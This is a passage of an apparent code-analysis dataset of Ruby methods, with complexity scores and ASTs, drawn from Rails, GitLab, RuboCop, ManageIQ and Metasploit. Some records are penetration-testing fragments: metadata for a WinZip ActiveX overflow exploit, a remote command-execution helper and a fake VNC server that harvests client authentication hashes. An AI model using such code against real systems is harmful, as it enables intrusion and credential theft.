UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a\\n\"]},{\"type\":\"str\",\"children\":[\"          remote attacker to execute arbitrary code on the system. The control contains\\n\"]},{\"type\":\"str\",\"children\":[\"          several unsafe methods and is marked safe for scripting and safe for initialization.\\n\"]},{\"type\":\"str\",\"children\":[\"          A remote attacker could exploit this vulnerability to execute arbitrary code on the\\n\"]},{\"type\":\"str\",\"children\":[\"          victim system. WinZip 10.0 <= Build 6667 are vulnerable.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"dean <dean[at]zerodaysolutions.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2006-5198\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"30433\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"21060\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP0-SP2/ IE 6.0 SP0-SP2 / IE 7\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[202116108]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2007-11-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"5a47b008-1272-4509-8933-0f90acfff127"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":286,"raw_source":"def normalize_defaults(options)\n            Hash[options.reject { |_, default| Regexp === default }]\n          end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_defaults\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"default\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"default\"]}]}]}]}]}","id":"0cad7638-398d-4e15-a478-d3e707b51e09"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/predicate_prefix.rb","start_line":172,"raw_source":"def expected_name(method_name, prefix)\n          new_name = if forbidden_prefixes.include?(prefix)\n                       method_name.sub(prefix, '')\n                     else\n                       method_name.dup\n                     end\n          new_name << '?' unless method_name.end_with?('?')\n          new_name\n        end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"arg\",\"children\":[\"prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forbidden_prefixes\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"sub\",{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"dup\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"?\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_name\"]},\"<<\",{\"type\":\"str\",\"children\":[\"?\"]}]}]},{\"type\":\"lvar\",\"children\":[\"new_name\"]}]}]}","id":"e8094ee4-6d5d-4713-a621-dc256b8ada8e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/set_crm_contacts_service.rb","start_line":88,"raw_source":"def remove_by_id(contact_ids)\n      contact_ids &= existing_ids\n      @removed_count += issue.issue_customer_relations_contacts\n        .where(contact_id: contact_ids) # rubocop: disable CodeReuse/ActiveRecord\n        .delete_all\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_by_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contact_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contact_ids\"]},\"&\",{\"type\":\"send\",\"children\":[null,\"existing_ids\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@removed_count\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"issue_customer_relations_contacts\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact_id\"]},{\"type\":\"lvar\",\"children\":[\"contact_ids\"]}]}]}]},\"delete_all\"]}]}]}]}","id":"e8aaaf69-91cf-4b16-8a2f-fbead3dac4ba"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/app/models/active_storage/blob/representable.rb","start_line":138,"raw_source":"def previewable?\n    ActiveStorage.previewers.any? { |klass| klass.accept?(self) }\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"previewable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"previewers\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"accept?\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"416c5161-b623-4f14-8ce4-d5a8c803349f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/service_orchestration_options_mixin.rb","start_line":14,"raw_source":"def update_options\n    @update_options ||= get_option(:update_options)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@update_options\"]},{\"type\":\"send\",\"children\":[null,\"get_option\",{\"type\":\"sym\",\"children\":[\"update_options\"]}]}]}]}","id":"56163309-dee6-424f-976f-6e456fb26e38"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_travel_test.rb","start_line":206,"raw_source":"def test_time_helper_travel_back\n    Time.stub(:now, Time.now) do\n      expected_time = Time.new(2004, 11, 24, 1, 4, 44)\n\n      travel_to expected_time\n      assert_equal expected_time, Time.now\n      assert_equal expected_time, Time.new\n      assert_equal Date.new(2004, 11, 24), Date.today\n      assert_equal expected_time.to_datetime, DateTime.now\n      travel_back\n\n      assert_not_equal expected_time, Time.now\n      assert_not_equal expected_time, Time.new\n      assert_not_equal Date.new(2004, 11, 24), Date.today\n      assert_not_equal expected_time.to_datetime, DateTime.now\n    ensure\n      travel_back\n    end\n  end","complexity_score":40.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_helper_travel_back\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[11]},{\"type\":\"int\",\"children\":[24]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[44]}]}]},{\"type\":\"send\",\"children\":[null,\"travel_to\",{\"type\":\"lvar\",\"children\":[\"expected_time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[11]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_datetime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[null,\"travel_back\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"expected_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"expected_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[11]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_datetime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]}]},{\"type\":\"send\",\"children\":[null,\"travel_back\"]}]}]}]}","id":"f955d453-6dc7-42df-adb4-4a65fe4b0407"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/common.rb","start_line":331,"raw_source":"def cmd_exec_with_result(cmd, args = nil, timeout = 15, opts = {})\n    # This token will be returned if the command succeeds.\n    # Redirection operators (`&&` and `||`) are the most reliable methods to\n    # detect success and failure. See these references for details:\n    # - https://ss64.com/nt/errorlevel.html\n    # - https://stackoverflow.com/questions/34936240/batch-goto-loses-errorlevel/34937706#34937706\n    # - https://stackoverflow.com/questions/10935693/foolproof-way-to-check-for-nonzero-error-return-code-in-windows-batch-file/10936093#10936093\n    verification_token = Rex::Text.rand_text_alphanumeric(8)\n\n    _cmd = cmd.dup\n    _cmd << \" #{args}\" if args\n    if session.platform == 'windows'\n      if session.type == 'powershell'\n        # The & operator is reserved by Powershell and needs to be wrapped in double quotes\n        result = cmd_exec('cmd', \"/c #{_cmd} \\\"&&\\\" echo #{verification_token}\", timeout, opts)\n      else\n        result = cmd_exec('cmd', \"/c #{_cmd} && echo #{verification_token}\", timeout, opts)\n      end\n    else\n      result = cmd_exec('command', \"#{_cmd} && echo #{verification_token}\", timeout, opts)\n    end\n\n    if result.include?(verification_token)\n      # Removing the verification token to cleanup the output string\n      [result.lines[0...-1].join.strip, true]\n    else\n      [result.strip, false]\n    end\n  rescue Rex::TimeoutError => e\n    [e.message, false]\n  end","complexity_score":43.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_exec_with_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"verification_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"_cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"powershell\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"cmd\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/c \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_cmd\"]}]},{\"type\":\"str\",\"children\":[\" \\\"&&\\\" echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verification_token\"]}]}]},{\"type\":\"lvar\",\"children\":[\"timeout\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"cmd\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/c \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_cmd\"]}]},{\"type\":\"str\",\"children\":[\" && echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verification_token\"]}]}]},{\"type\":\"lvar\",\"children\":[\"timeout\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"command\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_cmd\"]}]},{\"type\":\"str\",\"children\":[\" && echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verification_token\"]}]}]},{\"type\":\"lvar\",\"children\":[\"timeout\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"verification_token\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"lines\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-1]}]}]},\"join\"]},\"strip\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"strip\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"TimeoutError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"50b50a37-1d92-41f6-8557-e8540c59b7b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/web_hooks/recursion_detection/uuid.rb","start_line":28,"raw_source":"def uuid_for_hook(hook)\n          request_uuid || new_uuid_for_hook(hook)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"uuid_for_hook\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_uuid\"]},{\"type\":\"send\",\"children\":[null,\"new_uuid_for_hook\",{\"type\":\"lvar\",\"children\":[\"hook\"]}]}]}]}","id":"6df21b1a-694e-404b-94e7-2bca2b253976"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/recon/persistence_suggester.rb","start_line":94,"raw_source":"def is_module_platform?(mod)\n    return false if mod.target.nil?\n\n    platform_obj = Msf::Module::Platform.find_platform session.platform\n\n    module_platforms = mod.target.platform ? mod.target.platform.platforms : mod.platform.platforms\n    module_platforms.include? platform_obj\n  rescue ArgumentError => e\n    # When not found, find_platform raises an ArgumentError\n    elog('Could not find a platform', error: e)\n    return false\n  end","complexity_score":25.9,"ast_json":"{\"type\":\"def\",\"children\":[\"is_module_platform?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"target\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"platform_obj\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"find_platform\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"module_platforms\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"target\"]},\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"target\"]},\"platform\"]},\"platforms\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"platform\"]},\"platforms\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_platforms\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"platform_obj\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"Could not find a platform\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]}","id":"ddf69e5c-a377-4655-9144-e5d67af8bbd3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/capture/vnc.rb","start_line":91,"raw_source":"def on_client_data(client)\n    data = client.get_once\n    return if !data\n\n    peer = \"#{client.peerhost}:#{client.peerport}\"\n\n    if data =~ /^RFB (.*)\\n$/\n      @state[client][:proto] = Regexp.last_match(1)\n      if @state[client][:proto] == '003.007'\n        # for the 003.007 protocol we say we support the VNC sectype\n        # and wait for the server to acknowledge it, before we send the\n        # challenge.\n        client.put [0x0102].pack('n') # 1 sectype, unencrypted\n      elsif @state[client][:proto] == '003.003'\n        # for the 003.003 protocol we say we support the VNC sectype\n        # and immediately send the challenge\n        sectype = [0x00000002].pack('N')\n        client.put sectype\n\n        @state[client][:chall] = @challenge\n        client.put @state[client][:chall]\n      else\n        client.close\n      end\n    # the challenge was sent, so this should be our response\n    elsif @state[client][:chall]\n      client.put [0x00000001].pack('N')\n      client.close\n      print_good(\"#{peer} - Challenge: #{@challenge.unpack('H*')[0]}; Response: #{data.unpack('H*')[0]}\")\n      hash_line = \"*#{@state[client][:chall].unpack('H*')[0]}*#{data.unpack('H*')[0]}\"\n      report_cred(\n        ip: client.peerhost,\n        port: datastore['SRVPORT'],\n        service_name: 'vnc_client',\n        user: '',\n        password: hash_line,\n        proof: hash_line\n      )\n\n    # we have got the protocol sorted out and have offered the VNC sectype (2)\n    elsif @state[client][:proto] == '003.007'\n      if (data.unpack('C')[0] != 2)\n        print_error(\"#{peer} - sectype not offered! #{data.unpack('H*')}\")\n        client.close\n        return\n      end\n      @state[client][:chall] = @challenge\n      client.put @state[client][:chall]\n    end\n  end","complexity_score":97.63,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"peerport\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^RFB (.*)\\\\n$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"proto\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"003.007\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[258]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"proto\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"003.003\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sectype\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"sectype\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"chall\"]},{\"type\":\"ivar\",\"children\":[\"@challenge\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"chall\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"close\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"